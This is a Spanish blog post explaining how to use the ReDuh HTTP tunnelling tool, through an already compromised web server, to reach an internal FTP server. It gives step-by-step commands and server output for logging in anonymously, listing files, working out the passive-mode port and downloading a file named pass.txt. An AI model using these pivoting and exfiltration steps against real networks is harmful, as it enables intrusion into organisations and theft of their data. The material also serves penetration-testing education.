viernes, 21 de octubre de 2011

ReDuh, FTP y PASV Mode

Seguro ya has oído hablar de ReDuh, una herramienta que nos permite montar túneles TCP sobre HTTP para conectar con servicios que corren en la intranet de una organización saltando a través de un servidor web comprometido.

Uno de esos servicios internos podría ser un FTP, quizá uno que tenga el usuario "anonymous" habilitado y nos permita acceder a información interesante. Pero el protocolo FTP es algo especial y si conectamos usando un tunel hecho con ReDuh de buenas a primeras no va a funcionar bién.

El problema está en que el protocolo FTP usa dos canales: uno para control y otro para datos. El canal de control se establece conectando por el conocido puerto 21 y el canal de datos se establece al momento de hacer una transferencia por un puerto aleatorio. ReDuh nos hace un túnel para el canal de control más no para el canal de datos y es por ello que falla al momento de bajar archivos e incluso al hacer un listado de directorios.

Entonces, ¿Cómo podemos bajar ficheros del FTP interno?

Bien, recordemos que el canal de datos del FTP se puede establecer de dos maneras: en modo pasivo y en modo activo. En el modo pasivo, el servidor abrirá un puerto aleatorio y nosotros conectaremos a ese puerto para finalmente iniciar la transferencia de información. En el modo activo, nosotros abrimos un puerto en nuestro equipo y le indicamos al servidor nuestra IP y el puerto abierto para que se conecte e inicie la transferencia de datos.

Así que haremos lo siguiente:

Primero creamos un tunel hacia el puerto 21 para establecer el canal de control. (suponemos que el servidor FTP está en 172.16.22.8)

>>[createTunnel]21:172.16.22.8:21
 Successfully bound locally to port 21. Awaiting connections.

Luego, desde otra consola, conectamos al FTP a través del tunel.

$ nc localhost 21

Nos logueamos.

USER anonymous
331 Please specify the password.
PASS anon@example.com
230 Login successful.

Para hacer listado de directorios se puede usar el comando STAT. Es más conveniente en este caso porque, a diferencia de LIST, no requiere del canal de datos. Por ejemplo, para listar el directorio actual:

STAT .
213-Status follows:
drwxr-xr-x   11 0        65534        4096 Sep 23  2009 .
drwxr-xr-x   11 0        65534        4096 Sep 23  2009 ..
drwxrwxrwx    5 0        0            4096 Feb 12  2010 html
drwxrwxrwx    5 0        0            4096 Feb 12  2010 logs
-rw-rw-rw-    2 0        0              87 Feb 12  2010 pass.txt
213 End of status

Luego iniciamos el canal de datos en modo pasivo.

PASV
227 Entering Passive Mode (172,16,22,8,40,18)

Los números entre paréntesis nos indican la IP y el puerto a los que tenemos que conectar. Los cuatro primeros indican la IP y los dos últimos el número de puerto representado como un número de 2 digitos en base 256.

Para obtener el número de puerto real, multiplicamos el penúltimo número por 256 y le sumamos el último.

$ echo $((40*256+18))
10258

Bien, ahora creamos otro túnel con ReDuh hacia el puerto para el canal de datos.

>>[createTunnel]10258:172.16.22.8:10258
 Successfully bound locally to port 10258. Awaiting connections.


Preparamos el fichero que vamos a descargar...

RETR pass.txt

Y finalmente lanzamos la conexión por el túnel para datos.

$ nc localhost 10258 > descarga.txt

Listo, luego de este comando iniciará la descarga y se guardará en el fichero descarga.txt

Un saludo.

1 comentario:

  1. Excelente...estoy haciendo investigaciones y necesita este metodo!!! Gran aporte!

    ResponderEliminar